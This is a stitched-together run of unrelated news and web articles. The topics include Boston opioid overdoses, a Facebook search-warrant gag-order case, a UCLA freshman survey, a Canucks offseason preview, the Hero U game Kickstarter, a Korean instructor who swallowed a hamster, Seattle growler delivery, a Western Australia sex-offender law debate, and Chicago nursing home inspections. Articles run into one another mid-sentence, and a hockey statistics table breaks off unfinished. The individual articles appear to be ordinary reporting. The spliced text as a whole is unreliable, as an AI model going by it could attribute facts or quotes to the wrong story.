One consequence of the sprawling drug epidemic has been limited access to public bathrooms. In Cambridge, for example, Christ Church Cambridge decided to close its bathroom to the public after a series of heroin overdoses there.
At City Hall, both uniformed and non-uniformed officers from Boston Police and Municipal Protective Services patrol the building regularly, McGilpin said.
McGilpin highlighted several programs to treat opioid addiction initiated by Walsh. The mayor, who has struggled with alcohol addiction, created the Office of Recovery Services when he was elected to try to deal with addiction services in Boston. In addition, Walsh directed all first responders in Boston to carry Narcan, a drug that reverses overdoses.
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The second part of the segment on Amaral is scheduled to run on Tuesday night.Federal prosecutors are dropping their demand that Facebook be barred from alerting users about search warrants for information about their accounts, according to a new court filing on Wednesday.
In making the decision, prosecutors did not concede the legal arguments raised by Facebook and civil liberties and electronic privacy groups against the nondisclosure orders attached to the search warrants. According to court papers filed jointly by Facebook and the US attorney's office in Washington on Wednesday, prosecutors determined that the underlying investigation that prompted the search warrants — the details of which are under seal — had "progressed... to the point where the [nondisclosure orders] are no longer needed."
The announcement came less than 24 hours before an appeals court in Washington, DC, was set to hear arguments in the case. According to the joint filing, a lower court judge vacated the nondisclosure orders at the government's request, making Facebook's appeal of those orders moot. The lawyers asked the District of Columbia Court of Appeals to dismiss the case, and the court granted that request on Wednesday afternoon.
Nate Cardozo, a lawyer for the digital rights group Electronic Frontier Foundation, told BuzzFeed News that although the organization was pleased with the outcome, he expected there would be other cases in the future that would ultimately lead to definitive court rulings on the issue of when the government can block tech companies from notifying customers about demands for their information. EFF was one of several advocacy groups that filed briefs in the case arguing that the gag orders were unlawful.
"We've won the battle but the war is not over," Cardozo said.
There’s already another case pending in federal court in Seattle that touches on some of the same concerns raised in the Facebook case. Microsoft is suing the Justice Department over a section of federal law that the government relies on to seek court orders that block tech companies from notifying subscribers when prosecutors request information. The judge ruled in February that part of Microsoft’s constitutional challenges could go forward. A trial is scheduled for June 2018.
Although most information about the case is sealed, EFF speculated in its court papers that the case relates to the mass arrests during protests in Washington on President Trump's inauguration day. More than 200 people were arrested in the hours around the inauguration, and felony charges for rioting and property destruction are pending against the majority of those defendants.
According to information about the case that is public, federal prosecutors served Facebook with search warrants for three account records over a three-month period. A District of Columbia Superior Court judge signed off on nondisclosure orders that prevented Facebook from telling users about the warrants until Facebook complied with the government's request.
Facebook unsuccessfully challenged the nondisclosure orders before the Superior Court judge, and appealed to the DC Court of Appeals. The appeals court issued a public order in June saying that it would accept input from any outside groups that Facebook or the government wanted to weigh in, although those groups wouldn't be privy to details about the investigation.
Several civil liberties and electronic privacy groups filed briefs in late June opposing the nondisclosure orders, arguing that users should have the right to challenge demands for their information, particularly if they involved First Amendment–protected speech activity. Facebook's interests may not always be the same as its customers, they said.
The DC Court of Appeals had scheduled public arguments for Sept. 14.
Arthur Spitzer, legal director of the American Civil Liberties Union of the District of Columbia, said in an email to BuzzFeed News that although the fight over the gag orders was over, it was still possible that the individuals whose Facebook accounts were at issue could go to court to challenge the government's requests for their information.
"Now that Facebook is free to notify these three users that their accounts are subject to a search warrant, we hope the users will contact us or other lawyers to challenge the government's attempt to conduct a fishing expedition through their Facebook accounts," Spitzer said.
A spokesman for the US attorney's office did not immediately return a request for comment. Facebook's lawyer, John Roche of the law firm Perkins Coie in Washington, referred a request for comment to the company, which did not immediately respond.For five decades, researchers at the University of California at Los Angeles have surveyed the nation's incoming freshmen to learn more about their backgrounds, views, and expectations. Use this interactive graphic to see how their attitudes and self-images have changed since the 1960s, as measured by UCLA's Cooperative Institutional Research Program, part of the Higher Education Research Institute. Read our coverage of the latest survey here.
Questions regarding: Political views Experience with diversity Academic workload College being attended First-choice college The economy Probable field of study College distance from home Number of colleges applied to College living arrangements - - - Empathy Tolerance Openness Discussing controversial issues Cooperation skills Academic ability Computer skills Emotional health Physical health Spirituality Writing ability - - - College choice and getting a job College choice and making money College choice and getting an education College choice and grad school College choice and living near home - - - Views on health policy Views on tax policy Views on race Views on affirmative action Views on reasons to go to college Previous | Next
Administration and Business Communications Facilities and Property Research and Other Education Student Life Technology Tenured/Tenure-Track Professor of Practice Ranks Administrative Faculty Other Non-Tenured Faculty Research Faculty Communications
Source: Cooperative Institutional Research Program, Higher Education Research Institute, U. of California at Los Angeles
Notes: Some questions have been slightly rephrased from the original survey for clarity in the context of this graphic. Regarding probable majors, we combined "Biological and Life Sciences" with "Physical Science" and called the grouping "Physical and Life Sciences."The Vancouver Canucks returned to the playoffs, making the playoffs for the sixth time in seven seasons and rebounding from a down season in 2013-2014, but they were bounced from the postseason by the Calgary Flames.
Off-Season Game Plan looks at a Canucks team that is pretty good, and might be a playoff team next season, but there is little reason to believe that they are capable of competing with the best that the Western Conference has to offer; even less reason to believe it after losing the worst puck possession team in the 2015 Playoffs.
Between the Sedins, Radim Vrbata, Alex Burrows, Chris Higgins, Kevin Bieksa, Dan Hamhuis and Ryan Miller, that's a lot of minutes going to players that are 32-years-of-age and older.
If the Canucks mostly maintain the status quo, then they would have a fair shot at returning to the playoffs, and that's cool, but a team with its best players in their mid-thirties is not likely for a deep playoff run and that is the situation in which the Canucks find themselves.
Can they re-tool on the fly? Presuming that the Sedins aren't going anywhere, there are still ways for the Canucks to get younger while icing a competitive team.
It will take some time for the young players and prospects to have the desired impact, and the Canucks might get away with waiting another year before they start clearing out, but there are options available if they are prepared to move veterans for prospects and picks.
Currently without a second or third-round pick in the 2015 Draft, there are steps to take if the Canucks are going to take a longer view to building their team, but it's not easy for a playoff team to get aggressive in a rebuilding effort.
HOCKEY OPS/COACH
Jim Benning/Willie Desjardins
RETURNING FORWARDS NAME GP G A PTS SAT% SPSV% SCF% SAT%Rel OZS% '15-16 CAP Daniel Sedin 82 20 56 76 53.3 98.3 49.3 5.2 54.3 $7.0M Henrik Sedin 82 18 55 73 54.1 99.1 50.2 6.3 54.2 $7.0M Radim Vrbata 79 31 32 63 51.3 100.4 48.8 2.5 52.3 $5.0M Nick Bonino 75 15 24 39 51.3 99.9 50.5 2.2 46.9 $1.9M Chris Higgins 77 12 24 36 50.8 100.7 50.4 1.2 48.8 $2.5M Alex Burrows 70 18 15 33 52.8 96.9 51.8 4.9 52.0 $4.5M Jannik Hansen 81 16 17 33 48.4 98.3 48.7 -1.8 47.3 $2.5M Bo Horvat 68 13 12 25 44.8 99.6 45.9 -5.6 47.3 $894K Derek Dorsett 79 7 18 25 43.1 101.8 45.2 -7.8 50.7 $2.65M Zack Kassian 42 10 6 16 49.8 98.3 43.9 -1.8 52.0 $1.75M
FREE AGENT FORWARDS NAME GP G A PTS SAT% SPSV% SCF% SAT%Rel OZS% '14-15 CAP STATUS Shawn Matthias 78 18 9 27 47.5 99.2 47.3 -3.0 49.7 $1.75M UFA Linden Vey 75 10 14 24 48.0 99.2 46.3 -1.4 52.4 $ |
into the industry in a way that allows you to make them. We'd like to support it.'"
In July, the Coles started thinking seriously about these offers. "We kind of said, 'OK, it sounds nice, but can we really get enough people to support it?'" Enter Kickstarter — the engine driving today's indie gaming Renaissance. The Coles embarked on some homework.
"The thing that fascinated me is, after all these years, there are still several sites for Quest for Glory that are still running with active communities," says Lori. "We wanted to really tap into those people to become evangelists — like, you know, Apple evangelists — and help us reach other people who enjoy the game. Basically, let them know that, yeah, this is not quite Quest of Glory, but it's going to be just as much fun."
SEE ALSO: 15 Vintage Video Games You Can Play on Your iPhone
"Kickstarter is a way of bringing people together in one place," Corey explains. "It's a way of publicizing it: Yes we're doing an indie project and you can be a part of it."
"From the minute we let out the news that we were interested in doing it, we started to hear from all these fans who wanted to help," Lori says. "And so we got in contact with several companies and they said, we're really ready to help you."
Jumping off from the School for Heroes concept, the new project — tentatively titled Hero U — will be a fully realized, five-part game with a fresh outlook on narrative adventure.
"It has threads from the Quest for Glory universe, but it's a very different game," says Lori. "It won't look anything like it."
A notable difference will be named protagonists, each with plenty of exposition — a departure from the malleable "generic hero" of Quest. "In each game, you'll take on the role of a particular wannabe hero who's attending the university and is in there for different reasons. You have a real story line, and we can do a lot more detailed writing because we know who you are," Corey explains. "Our first game is about a rogue, Shawn O'Conner — a character who has a backstory that we know a lot about, but the player will gradually discover during the course of the game. He's kind of an unwilling first-year student at Hero U."
"It has threads from the Quest for Glory universe, but it's a very different game. It won't look anything like it."
"As a player, your character doesn't know everything that's going on, either," Lori adds. "It’s solving a mystery that involves your own personal path and things that are going on in the school. It's like a miniseries on television. You start out with the rogue character, but the next game will be the wizard character, and the life of the wizard character will interact with what happened in the events of the rogue story, too. I call it the Downton Abbey of gaming."
"Graphically, it's going to be quite different from Quest for Glory," says Corey. "The role-playing type adventure will actually be on a 2-D tiled map, [where players can] explore the catacombs and the school itself. It's a top-down look. You will be doing all of the crucial role-playing type things, like fighting monsters, but our [game] is very tightly scripted, so there's a purpose any time you go down to those catacombs. Things you're looking for, things you want to discover, sometimes specific monsters you want to defeat — all these things advance the story line."
The Coles plan to launch the Hero U Kickstarter on Oct. 19, but fans can contribute more than just money. Like many recent indie projects we've seen, development will be social.
"We're going to have a website devoted to all the people contributing to it — they'll be our beta testers," says Lori. "We'll bounce ideas off of them and really use fans as part of the thing, because really, this game was not one we intended to make two months ago."
While the game itself will not be multiplayer or social, the Coles hope to engender a vibrant forum during development and after release. "One of our plans is to really build the website into a community. I can't talk too much about what we're doing with it, but it will basically track what you're doing in the game — if you choose to sign up for that feature — and it will allow people to talk about their experiences. It will be the players interacting, as opposed to their characters."
With the plan in place, the Coles have teamed up with Australian indie developer Brawsome. Andrew Goulding will take the lead on programming. The Kickstarter goal is lofty, but achievable.
"It’s like a miniseries on television. I call it the Downton Abbey of gaming."
"At this point, we’re going to try and go for $400,000," says Corey. "I'm doing some budget exercises right now. We know we can make the game at $450,000, but we're trying to see if we can do it for $400,000."
The amount of funding will have a substantial impact on the breadth of the game and its social community, Corey explains. "If we barely make [the original] goal, then we'll be struggling to even get a game out, but we'll do it."
Crowdfunding a game is a project in itself. "We're working really hard on the Kickstarter," says Lori. "It's a really delicate balance." They're still sorting out the perks contributors will receive for their investments.
"We want to make sure by the time we go into it, we have all the pieces in place and everything is ready," says Corey. Still, despite their measured planning, it's clear the Coles are excited. "We're really looking forward to building this thing."
Images courtesy of GameFAQs.com and Hero U.By Kim Rahn
Police Monday investigated an instructor at a rural boarding facility who bit a hamster to death and swallowed it in front of children.
The instructor, surnamed Yu, 44, said he did so because he was "afraid of rats."
The incident happened on May 11 at a boarding facility in Jeongeup, North Jeolla Province.
After finding out that some children were teasing hamsters, Yu bit one to death and swallowed it to teach them "how dear life is," according to police.
Seven children saw him eat the animal.
Yu also used abusive language in front of the children.
He left the facility when other teachers protested. Parents have filed a complaint with police, alleging child abuse.
Yu told Yonhap News Agency by phone that he had feared rats after being bitten while at elementary school.
"I couldn't control the situation and couldn't stand it," he was quoted as saying.
He said he wanted to teach the children how precious life was.
"While watching the hamsters die from teasing, I thought I should teach the children it was wrong to make light of life," he said.
He apologized to the children, parents and other instructors, saying he would not have killed the hamster if he had known it would be considered a form of child abuse.
Yu appeared at Jeongeup Police Station and admitted his act. Police booked him without physical detention for child abuse.
Meanwhile, some parents have claimed other teachers tried to cover up the incident and told the children not to tell anybody outside of the facility.
Korean Language
경찰, 햄스터 삼킨 지도사 입건…"혐의 모두 인정"
초등생과 미취학 아동들 앞에서 햄스터를 깨물어 죽인 뒤 삼킨 전북 정읍의 한 산촌유학센터 생활지도사가 경찰에 출석해 피의자 조사를 받았다.
18일 전북 정읍경찰서에 따르면 생활지도사 A(44)씨는 이날 오전 9시40분께 경찰에 출석, 아동학대 혐의 등으로 2시간가량 조사를 받았다.
A씨는 피해자가 진술한 내용에 대해서 모두 혐의를 인정했다.
A씨는 경찰에서 '쥐에 대한 트라우마가 있는데 사건 당일날 아이들 방에서 햄스터에 발가락을 물렸다'며 '순간 극도로 화가 나 충동적으로 햄스터를 물어 죽이고 삼켰다'고 진술했다.
경찰은 A씨를 아동학대 혐의로 불구속 입건했다. (연합뉴스)Seattle is undergoing a craft brewing renaissance, with small beer makers such as Reuben’s, Populuxe and Schooner Exact expanding faster than yeast on a warm summer day.
There are so many amazing choices, what’s a beer connoisseur to do?
Brewtown — a new membership club set to begin in January — wants to help. The startup plans to deliver a fresh growler of beer from a local brewery every Friday or Saturday, delivering to addresses within a 25-mile radius of downtown Seattle.
Memberships cost $60 per month, or $15 per growler, with beer lovers able to choose two different “tasting tracks” and pick from three different delivery windows.
Like Uber, Lyft or Postmates, the growler club will be accompanied by a mobile app designed to make it easy to get an assortment of IPAs, porters or ales.
Ryan Miller and Ian Duncan, two programmers who met at a software company in Bellingham, are behind the hop-heavy project.
“We’re trying to find awesome ways to bring beer to people, simple as that,” Miller said. Duncan, who currently lives in South Carolina, handles most of the technical side of the business while Miller oversees operations in Seattle. Both shared a passion for beer and a desire to build products that people love. Growler delivery seemed like a natural fit.
Though the concept of a monthly beer club is nothing new, most clubs ship bottled beer through the mail. Brewtown wants to stand apart by offering fresh, local beer straight from the keg each week.
This is made possible by the growler, a glass or ceramic beer jug that typically contains 64 ounces — about four pints.
Pike Brewing founder Charles Finkel says the growler may be the biggest phenomenon in beer after craft brewing itself.
“Growlers are hugely popular, because essentially you drink draft beer at home,” he said.
Miller and Duncan hope to capitalize on the growing craft beer industry, which is thriving in the Northwest, by providing a way for people to navigate the myriad of options.
Estimated to be worth roughly $4.3 billion to the state’s economy, craft beer is growing at a rapid pace. But the sheer number of options can be overwhelming.
At worst, beer snobs can make it even more daunting to get into the local beer scene.
“A lot of places, they’re kind of intimidating,” said self-professed “beer geeks” Neil Carlsen and Joni Fuller just outside of the Greenwood craft beer haven Chuck’s Hop Shop.
Perhaps most important is Brewtown’s ability to deliver high-quality choices each week, lest beer lovers be left with a half-gallon of swill.
“Then you’re stuck with a growler that you’re not going to drink,” said Fuller.
Brewtown members will be able to select from various types of beer that cater to their preferences. So someone who loves lighter beers won’t end up with 64 ounces of something too dark for their tastes.
Brewtown still has liquor licensing hoops to go through, logistics to solve, capital to raise and partnerships to solidify before the deliveries begin in January. But Miller says the initial feedback via Twitter and Reddit has been extremely positive.
“We think we’ve found a service that people really want,” he said.
With a prime location and 25 years of brewing experience, Finkel acknowledges that Pike Brewing is fortunate to not have to focus on exposure as much as a newcomer would.
But Brewtown could assist nascent brewers who are looking to get their product known.
“A guy who is just starting out, this very well may be a gateway for him to promote his product,” he said.
In addition to giving local brewers a way to get their beer to more people, Miller hopes the built-in market of the growler club will allow brewers to create special beers that they couldn’t afford otherwise, so long as the customers are willing to be adventurous.
“That instantly makes a whole spectrum of beers possible that sold one at a time wouldn’t make sense,” Miller said.
The Brewtown mobile app is set to launch later this month and is intended to set the framework for Brewtown’s long-term aspirations.
Ideally, Miller and Duncan envision Brewtown as a platform for people to discover and share local beer that they love. The app shows local microbreweries on a map of Seattle, what they’re brewing, and some basic information on the brewery and the beer.
So, will it work?
At the intersection of two growing industries, the question will be if craft beer — combined with mobile technology — can take off.
“We’re going to offer our answer to that question,” Miller said.“And we think we’ve got a really great answer.”
Previously on GeekWire: Quick liquor: Alcohol delivery service Drizly launches in Seattle
Jack Truitt is a student in the University of Washington’s News Lab program.With travel restrictions being loosened, and American-Cuban relations stronger than ever, Corporate Vice President and Design Chief Alfonso Albaisa thought it a perfect time to export the all-new Infiniti Q60 coupe to Cuba – at least one of them. It would mark the first time in 58 years that a U.S.-spec car would be registered on the island nation.
Raised in Miami, Florida, Albaisa had never actually been to the country in which his parents and a number of his relatives called home. For him, the goal of this project was to trace back his roots back to his parents’ birthplace all while behind the wheel of the new Q60 in a four-day trek.
Along with his parents’ home, Alfonso would visit the Tropicana, Club Nautico, and the home of his great uncle, architect Max Borges-Recio, who had designed both. There, he would draw distinctions between the iconic mid-century modern architecture synonymous with the island and the design of the car itself.
On the last night of Albaisa’s stay on the island, he would unveil the car in a private art gallery with over 150 Cuban designers, architects, and artists in attendance. A number of students were there as well, who expressed their interest in designing cars.
"From the passion in their eyes, I could see that DNA-wise, we are the same,” he said in an interview with Fortune, “If my family could escape the island and I could end up designing luxury cars in Japan, then they can do great things too."
The Infiniti Q60, meanwhile, features a biturbocharged 3.0-liter V6 and as much as 400 horsepower (298 kilowatts). From a standstill, it will hit 60 mph (96 kmh) in just 5.0 seconds.other-sports
Kevin Durant, the NBA Finals MVP, had some harsh things to say about India from his recent visit
Golden State Warriors star Kevin Durant during his visit to the Taj Mahal in Agra recently. Pic/Twitter
Kevin Durant, the NBA Finals MVP, had some harsh things to say about India from his recent visit.
The Golden State Warriors star spoke about the cultural shock he experienced when he drove down to The Taj Mahal. "It's a country that's 20 years behind in terms of knowledge and experience. You see cows in the street, monkeys running around everywhere, hundreds of people on the side of the road, a million cars and no traffic rules," he told The Athletic magazine.
"As I was driving up to the Taj Mahal, I thought that this would be holy ground, super protected, very very clean. And as I'm driving up, it's like, s***, this used to remind me of some neighborhoods I would ride through as a kid. Mud in the middle of the street, houses were not finished but there were people living in them. The cows in the street, stray dogs and then, boom, Taj Mahal, one of the seven wonders of the world," said Durant.Released dangerous sex offender charged with rape highlights need for law reform: Opposition
Posted
The State Opposition has used debate on proposed amendments to the Dangerous Sex Offenders Act to reveal details of an offender who has been charged with rape after being released into the community.
Shadow Attorney General John Quigley used parliamentary privilege to detail the case of Mark Bradley Wimbridge, as he argued for tougher restrictions on the release of dangerous sex offenders.
Mr Quigley told Parliament Wimbridge had a long history of sex crimes, and had been repeatedly assessed at high risk of reoffending, yet had been released on a supervision order.
Labor wants the amended legislation to require dangerous sex offenders to demonstrate they are no longer at risk of reoffending before being released.
Mr Quigley said the Wimbridge case demonstrated why.
"And what has happened? Wimbridge is now charged with breaching this supervision order in at least two ways," he said.
"Consuming alcohol and raping a woman last Saturday night while on a supervision order. Of aggravated sexual penetration," he said.
"What has happened? The court has said we'll come up with conditions which will protect the community.
"Well, it didn't protect the woman on the weekend who was raped, and it didn't stop Wimbridge consuming alcohol, which probably led to the offence."
Wimbridge is currently facing charges for the alleged rape, but the outcome of his case has yet to be determined by the court.
But while those proceedings continue, Mr Quigley said the Magistrate presiding over his court appearance had elected to detain him.
"Now fortunately, the Magistrate on Sunday morning remanded Wimbridge in custody," he said.
Mr Quigley said that reinforced the importance of one of Labor's proposed amendments to the laws requiring the mandatory detention of any dangerous sex offender charged with any offence.
"If you're charged with any breach of your supervision order, you must not be offered bail. You must be held in custody," he told Parliament.
Amended legislation still still flawed, says Quigley
The Government flagged changes to the DSO legislation in December last year, outlining a range of amendments to strengthen the act following a review completed 18 months earlier.
The amendment was introduced to Parliament in May.
Mr Quigley claimed the Governmtn tried to keep Wimbridge's offence "under wraps".
"They didn't want the community to know one of these dangerous sex offenders that has been released on a supervision order [had allegedly reoffended]," he said.
Speaking in support of the existing legislation, Police Minister Liza Harvey told Parliament it sought to give courts the power to deal with dangerous sex offenders effectively.
"You know, as a mother and a member of the community... an aunty, a sister, and a daughter, yes, I don't want dangerous sexual offenders into the community. Of course I don't. I don't believe anybody does," she said.
"But the fact remains we have to abide by the Constitution and constitutionally we can't detain people indefinitely."
Topics: state-parliament, sexual-offences, waWest Brom’s desperate attempts to sign players, seemingly any players, at the end of the transfer window caused havoc at several European clubs.
The Baggies aren’t usually much covered in the European media but the week before the window closed, and perhaps more so the week after it, they were mentioned in stories all over the place.
Late West Brom moves for players were reported in several countries, and the story always seemed the same: The Premier League club really wanted a player but came in with too little money too late in the transfer window.
One player West Brom could have wrapped up with plenty of breathing space left was Ignacio Camacho. Malaga’s owner even publicly said the player was keen to leave, which seemed to suggest an imminent transfer.
The player has a €18m release clause, which is pretty good value, but West Brom wanted bonuses to be included and to deposit the money in staged payments, so the deal died.
Spain’s El Confidencial say that also killed Malaga’s attempt to re-sign Isco from Malaga on loan – because they planned to use the Camacho money to pay his wages and the loan fee.
Malaga may well have lost their chance to see Isco back at the club, if the player does leave Madrid then next time there’ll surely be wealthier clubs ahead of them.
So West Brom’s trail of transfer destruction just added another failed deal to the list, there could be a movie in this.The doorbell rang unexpectedly.
As usual, the ringer of the bell had left by the time I put my hijab on and made it to the door—which isn’t a bad thing.
But this time when I opened the door there, on the step, was a bundle of joy. No, it wasn’t a small child abandoned by a good hearted mother who just couldn’t take care of it. It was a box of books! Books I had ordered a few days prior for my Ramadan reading list.
In my bundle of joy was the golden-leaf speckled cover of Yasmin Mogahed’s book Reclaim You Heart. After listening to Mogahed’s lectures and reading her blog, I was eager to dive in to her book.
What I found in between the covers of Mogahed’s book wasn’t more of the same rhetoric and empty platitudes, but a practical understanding of how the heart works and how we should guard it and treat it.
I realized this heart reclaiming process should have been the first thing I did when I came to Islam.
When I said the shahadah (statement of faith) it seemed like there were a million things that I needed to learn, and do, and change all at one moment. My questions seemed to number as the stars and I wanted to get started right way.
But looking back, I realize there was only one thing I should have focused on in those first few days, weeks, and even months—the heart, the source of faith.
Intentions
Most new converts are often told that to adopt the Islamic way of life they must start with outward expressions like dressing more modestly and/or growing the beard. And yes, we must learn to guard our modesty as Allah tells us. But all too often people (new Muslims and communities) focus too much on appearances and forget that a reformation of the heart must come first.
Without knowing in our heart that pleasing Allah should be our intention, these actions are like the actions of someone who is sleep walking and does not understand what he or she is doing.
The Messenger of Allah (peace be upon him) said:
“Allah does not look at your figures, nor at [the beauty of] your attire, but He looks at your hearts and accomplishments” (Muslim)
Focusing the heart on the intention of actions is the path to all acts of obedience to Allah.
Motivation
On the flip side of the same coin, the new Muslim is often told that adopting an Islamic life means getting rid of bad habits that are outwardly obvious, like drinking or dating. Yes, we must break bad habits and stay far away from things Allah has told us are harmful. But all too often people (new converts and communities) focus too much on the outward show of breaking these habits.
Without attaching the heart to the love of Allah, without that motivation, removing the habits or attachments we love in this life will seem impossible. For that reason the first thing the Prophet (peace be upon him) said to the people of Madinah was:
“O people! Love Allah with all of your hearts for what He has given you from blessings […]” (At-Tirmidhi)
Focusing the heart on the love of Allah is the path to motivation to seek Allah’s pleasure.
First Steps
Learning intention and motivation only come when we have prepared our hearts in the best way. And so those first steps a new Muslim should take into Islam should be reclaiming that piece of flesh that the Prophet talked about when he said:
“[…] if it becomes good the whole body becomes good. But if it gets spoiled, the whole body gets spoiled – and that [piece of flesh] is the heart.” (Al-Bukhari)
Changing the heart is essential to everything we are and everything we do. If the heart is full of evil and false attachments, our body will act accordingly and accumulate evil deeds. And so, the opposite is true of a heart full of goodness and piety.
To start to reclaim the heart, the new Muslims must first empty the heart.
Mogahed writes in her book, Reclaim the Heart: “To empty the heart does not mean not to love. On the contrary, true love, as God intended it, is purest when it is not based on a false attachment. The process of first emptying the heart can be found in the beginning half of the shahadah.”
The shadadah begins with a negation. Ash hadu an la illaha ila Allah: I testify that there is NO deity worthy of worship but Allah. This declaration is an oath with our true Lord to not put anything above Him, whether it may be money, our own desires, status, or a person. By making this statement, we admit that these things must be removed from the place of worship. And our false attachments to them must be emptied from our hearts.
This is not to say that we shouldn’t like or love anything in this world. We are instructed to love our family, our brothers and sisters in faith, and it is only natural that we like to have children, status, nice things and money.
Emptying the heart is not rejecting all things in this world, it is prioritizing and removing those false attachments or false gods that we think we could never give up or live without. This place of reverence is to be reserved for Allah, this attachment is the only real attachment, and everything else is temporary.
Filling the Heart
“A single moment with an empty spot causes excruciating pain. That’s why we run from distraction to distraction, and from attachment to attachment.” Mogahed writes about the emptiness of the heart.
We are not emptying the heart to leave it empty. As we empty it, we also fill it with the love of Allah. We can fill our hearts with the love of Allah—as the Prophet Muhammad instructed the people of Madinah—by realizing His blessing on us. We can look to creation and the beauty of the heavens and earth to find love for Him. We can think about how merciful He is to us by counting one bad deed as one and multiply the reward for good deeds. We can be thankful for how delicious He has made our sustenance, and how He has put love in our hearts for spouses.
When we love someone do we not wish to show the object of our love how much we love them? Do we not wish to please him or her?
Similarly we can and should, above all else, show our love of Allah and seek to please Him. Allah tells us how to do this in the Quran:
{Say, [O Muhammad], If you should love Allah, then follow me, [so] Allah will love you and forgive you your sins. And Allah is Forgiving and Merciful.} (3:31)
This verse of the Quran tells us in no uncertain terms that we can show our love for Allah by obeying Him as He has instructed us to through His Messenger. In doing this, Allah will love us, be pleased with us and forgive us. This is where intention and motivation come from—it is easy to put aside bad habits, do good deeds and acts of worship when we are doing so out of love of Allah in order to seek His pleasure above all others.
Recovering the heart from false attachments is a process that every new Muslim must navigate before any intention other than pleasing Allah sneaks in. Regaining the heart with the love of Allah is critical for the new Muslim to be motivated to do what Allah asks of him or her.
It is important to note that reclaiming the heart is not just a reality that converts have to face. This is the very foundation of what makes every Muslim a Muslim.
This step of emptying our hearts is vital for every Muslim because if we do not empty our hearts, if we love our money, our time, our spouses, if we fill our hearts with the love of the creation more than the love of the Creator, we will only cause ourselves pain in the short and long term.TORONTO – The Canadian Football League (CFL) announced today the team nominees for the 2016 CFL Outstanding Player Awards. The Argonauts nominees include:
BRANDON WHITAKER / Running Back – Most Outstanding Player
Whitaker enters the final week of the season having put together his most productive campaign since his 2011 CFL All Star season, rushing 165 times for 892 yards and two touchdowns while setting a career-high in receptions (77) for 527 yards and four receiving touchdowns in 17 games. His 77 catches to date are the most recorded by a CFL running back since the 2012 season.
The eight-year CFL veteran currently leads East Division in rushing yards (892) and is pacing the CFL in carries of 10+ yards with 32.
SHAWN LEMON / Defensive End – Most Outstanding Defensive Player
Since being traded to Toronto via Saskatchewan in July, Shawn Lemon has been a force for the Argonauts defence. He currently leads the East Division and ranks second in the CFL with 14 sacks, adding 22 tackles, five forced fumbles, one fumble recovery and a pass knockdown in 17 games this season. Lemon has registered multiple sacks in five of his last 13 games while recording the team’s highest single-season sack total since 2003.
GREG VAN ROTEN / Centre, Right Guard and Left Tackle – Most Outstanding Offensive Lineman
Greg Van Roten has been a steady presence on the offensive line while continuing to demonstrate his versatility by starting at centre, guard and tackle over 14 games. Of the 14 games, he started eight at left tackle, five at centre and one at right guard.
Van Roten has now been named the Argos Most Outstanding Lineman in back-to-back seasons. He received the honour in 2015 after also playing three positions along the offensive line over 16 games.
LIRIM HAJRULLAHU / Kicker – Most Outstanding Special Teams Players & Most Outstanding Canadian
Argonauts kicker Lirim Hajrullahu has put together a career year in his first season in Double Blue. The third-year specialist has connected on 36-of-41 field goal attempts this season while averaging 43.8 yards on 107 punts. His 87.8% field goal percentage currently ranks him first in the East Division, second in the CFL, and puts him on pace to set a career-high in the category. The Western University product etched his name in Argonauts history earlier this season, converting 15 straight field goals across five games to tie Noel Prefontaine for the club’s third-longest streak. His six field goals in Week 3 against the BC Lions marked the second-most in the team’s single-game history, while his 53-yard connection in Week 6 against Ottawa tied a career-long.
Hajrullahu was also named Winnipeg’s Most Outstanding Canadian and Most Outstanding Special Teams Player during his 2013 rookie campaign.
SEAN McEWEN / Centre – Most Outstanding Rookie
2015 CFL Draft pick Sean McEwen has appeared in 16 games, starting in 12, in his first season with the Argonauts. The Calgary product picked up the pro game with ease and played an integral part of an offensive line that paved the way for East Division rushing leader Brandon Whitaker and allowed the Argonauts to rank third in the league in yards per carry (5.2).The inspectors knew there was trouble as soon as they entered the nursing home.
The lobby smelled of urine. In one room, they found a 97-year-old woman, lying in her own waste. She had severe bruises on her arm, foot and both legs that the staff could not immediately explain. Another resident had a bed sore larger than a golf ball and dripping blood.
This was life in one of Illinois' "one-star" nursing homes.
These health violations—and two dozen more—were documented last year on a single inspection of the Berwyn Rehabilitation Center, contributing to its dubious distinction as one of the area's worst nursing homes.
The federal government is now rating nursing facilities on a 1 to 5 star system. Although conditions at one-star homes are startling, what is perhaps more alarming is their prevalence: About a quarter of U.S. nursing homes, including 81 in the six-county Chicago area, received one star.
A government Web site began posting ratings on these homes in December. Nursing home operators and even some patient advocates have criticized the rankings as superficial and perhaps misleading. And the detailed information behind those ratings is not readily available to the public.
But the Tribune obtained the most recent inspection reports for the area's lowest-rated homes through a Freedom of Information Act request. The conditions described are grim and, at times, deadly—as the Berwyn facility demonstrates.
Last March, inspectors found workers there were improperly using side railings on beds. Four months later, records show, a 53-year-old obese resident suffocated when he got stuck between the mattress and side rails. Illinois fined the facility $50,000 for the death, one of the largest nursing home penalties in the state last year.
A top administrator at the Berwyn facility acknowledged that, until recent months, care was poor.
"This nursing home was really bad," said Anjanette Miller, the director of nursing hired in May to oversee patient care. Workers, she said, "were punching in and doing nothing."
Since last spring, Miller said, the home has been under new management. "It's like night and day as far as improvements go," she said, "The bad, bad employees we got rid of."
According to records, all major violations found during the annual inspection last March had been corrected as of June.
But the man who suffocated did so in July—weeks after Miller and new management took over. She would not comment on that other than to say, "Accidents do happen."
State authorities said the for-profit home is owned by Berwyn Rehabilitation Center LLC. (The facility changed its name in May from the Pinnacle Health Care of Berwyn to the Berwyn Rehabilitation Center.)
One-star nursing homes meet minimum standards but are considered "much below average," according to the federal rating system. Inspection reports of those facilities show the daily despair many residents face.
At the Embassy Care Center in Will County, residents last fall complained of cold food, staff not answering calls for help, loud employees keeping them up at night, and workers not relaying phone messages from family members.
Residents said that when they voiced concerns, staff responded at times by pointing to the cemetery across the street. State investigators cited the nursing home, concluding that residents could not speak up without fear of reprisal.
When the Tribune asked the nursing home's administrator, Sue Bessette, about the residents' complaints, she said: "Yes, we were cited, but those things did not happen. Anybody can say anything." She would not comment further.
One of the area's most troubled nursing homes has been the Berwyn facility, according to a review of the most recently available government records.
It received one star in all four categories of care, including overall quality. And the March inspection report resulted in 29 violations—twice as many as any other comparable one-star facility in the area.
A three-story, U-shaped brick building, the Berwyn home sits along busy Harlem Avenue. When a Tribune reporter toured the home last month, it appeared old but clean: The wood and tile floors were gleaming, the hallways did not smell of urine, and the staff was busy attending patients.
One nurse's aide gently combed the hair of an elderly man in a wheelchair. A grease board in the small but comfortable lobby presented the day's activities, which included "Juice Cart," "Chit Chat" and "Black Jack."
Almost all the patients lay in their beds, sleeping or watching TV. Miller said the vast majority of the 88 residents can't walk and are incontinent. About a quarter cannot breathe without the aid of a ventilator.
